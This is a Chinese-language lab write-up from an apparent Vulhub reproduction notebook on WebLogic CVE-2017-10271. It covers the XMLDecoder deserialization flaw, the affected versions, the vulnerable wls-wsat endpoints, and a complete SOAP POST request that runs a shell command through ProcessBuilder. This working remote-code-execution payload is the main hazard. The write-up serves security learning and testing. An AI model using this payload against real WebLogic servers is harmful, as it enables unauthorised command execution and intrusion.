漏洞复现
Vulhub-漏洞环境搭建
1panel
Bash
Tomcat
Siro框架漏洞
Apache Struts2
Apache 中间件
ThinkPHP框架漏洞
MySQL写入shell
Redis
MySQL提权
Fastjson反序列化漏洞
Spring
Jenkins
WebLogic
-
+
首页
WebLogic
 ## 概述 WebLogic 是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。 ## XMLDecoder反序列化漏洞(CVE-2017-10271) ### 漏洞描述 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。 主要由wls-wsat.war触发该漏洞,触发漏洞url如下: `http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType` post数据包,通过构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。 ### 漏洞版本 Weblogic 10.3.6.0、 Weblogic 12.1.3.0、 Weblogic 12.2.1.2、 Weblogic 12.2.1.3 ### 漏洞原理 漏洞出现在wls-wsat.war中,该组件使用了weblogic自带的webservices处理程序来处理SOAP请求。然后在weblogic.wsee.jaxws.workcontext.WorkContextServerTube类中获取XML数据传递给XMLDecoder来解析。 解析XML的调用链为: ```txt weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld weblogic.wsee.workarea.WorkContextXmlInputAdapter ``` ### 漏洞复现 1、启动容器:  2、访问靶机:  3、访问路径: 漏洞可能出现的路径,向以下路径发送xml payload均可以触发漏洞 ```txt /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11 ```  4、抓取数据包并进行修改: ```http POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.1.4:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>touch /tmp/maolin</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ```  5、返回容器内查看是否有新创建文件: 
毛林
2025年11月1日 14:21
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码